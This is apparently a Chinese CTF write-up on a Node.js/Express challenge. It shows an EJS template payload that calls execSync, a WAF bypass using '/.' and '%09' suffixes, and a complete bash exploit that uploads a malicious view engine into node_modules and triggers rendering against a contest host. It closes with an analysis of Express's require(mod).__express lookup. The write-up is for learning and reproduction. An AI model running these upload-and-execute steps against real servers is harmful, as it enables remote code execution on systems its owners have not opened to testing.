前言
比赛的难度适宜,但还是有很多难绷的点
赛后应学长要求,尽量复现,只有白盒了悲伤,authweb做出来就不复现了()
staticNodeService
该题的思路很简单,利用PUT协议传入ejs文件,然后利用给出的参数渲染该文件,实现RCE
这是常见的nodejs里的模板渲染引擎,可以直接利用该引擎进行RCE
该题存在WAF不允许../
&末尾是js
是在req.path上 这里只允许可打印字符等等
我在做的时候,还是试了很多,但是由于个人脑抽用的是requests库,自动给我解码了,把/views/shell.ejs/
.转成/shell.ejs/
导致绕过失败
学长直接用Yakit进行爆破,直接爆可打印字符
结果成功了()
内容大抵是这样<%- process.mainModule.require('child_process').execSync('/readflag') %>
也没限制,随便都行
及最后使用/.
进行绕过
复现
当然,为什么复现这道题,是因为看到了其他打法
感觉值得复现,学习思路
我们知道模板,渲染ejs后缀的模板文件
而当前可以上传的文件夹不止是views,还有其他
有没有一种可能,我们通过某些操作,可以增加一个渲染模板的扩展名,比如ejs%09
这样依旧实现绕过渲染
简单复现一下打法,不过更期待是背后的知识点
实操
一把梭
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| #!/bin/bash
b64_engine=$(cat <<'EOF' | base64 -w0 function engine(filePath, options, cb) { try { const { execSync } = require('child_process'); const fs = require('fs'); const out = execSync('/readflag', { encoding: 'utf8' }); fs.writeFileSync('/App/flag.txt', out); cb(null, 'ok'); } catch (e) { try { require('fs').writeFileSync('/App/flag.txt', 'ERR: ' + String(e)); } catch (_) {} cb(null, 'engine error: ' + String(e)); } } module.exports = engine; module.exports.__express = engine; EOF ) echo "上传恶意 EJS 引擎..." curl -s -X PUT 'http://8.138.131.137:27001/node_modules/ejs%09' \ -H 'Content-Type: application/json' \ --data "{\"content\":\"$b64_engine\"}"
b64_tmpl=$(printf 'ok\n' | base64 -w0) echo "上传模板文件..." curl -s -X PUT 'http://8.138.131.137:27001/views/pwn.ejs%09' \ -H 'Content-Type: application/json' \ --data "{\"content\":\"$b64_tmpl\"}"
echo "检查模板文件..." curl -s 'http://8.138.131.137:27001/views/' | grep -F 'pwn.ejs%25'
echo "触发模板渲染..." curl -s 'http://8.138.131.137:27001/views/?templ=/App/views/pwn.ejs%2509' | head -n1
sleep 2 echo "读取 flag..." curl -s 'http://8.138.131.137:27001/flag.txt'
|
无敌了
%09不是固定的,换成其他自定义后缀比如ejsa也可以,甚至完全自定义,比如xm后缀
且一直发挥作用

更感兴趣了,服务端如何解析这个ejs%09呢?解析之后进行什么流程而新增了扩展名呢?
问题一:漏洞之始
为什么传入node_modules的文件可以作为模板引擎的文件会被执行
当限制降低之时,漏洞面就更大了
本地调试一下

还得往前插断点
跟进走到了真正的关键地方


前面经历了一些复杂的过程这里就不贴了
关键
1 2 3 4 5 6 7 8 9 10 11
| if (!opts.engines[this.ext]) { var mod = this.ext.slice(1) debug('require "%s"', mod) var fn = require(mod).__express if (typeof fn !== 'function') { throw new Error('Module "' + mod + '" does not provide a view engine.') } opts.engines[this.ext] = fn }
|
这里var fn = require(mod).__express
这里可以减少一段代码
只需要module.exports.__express = engine;
1 2 3 4
| View.prototype.render = function render(options, callback) { debug('render "%s"', this.path); this.engine(this.path, options, callback); };
|
这里进行渲染,下一步神奇的是直接跳进我们传入的xm并执行
省略一些执行命令的过程
比如

宽泛一点就到这了
其实整个代码还是不是特别深
关键就是我们可以控制require的模块名
又可以上传文件到模板文件夹下
这个时候就可以走到这里加载我们自定义的依赖
控制模板渲染
成功渲染我们自定义的后缀文件
ending~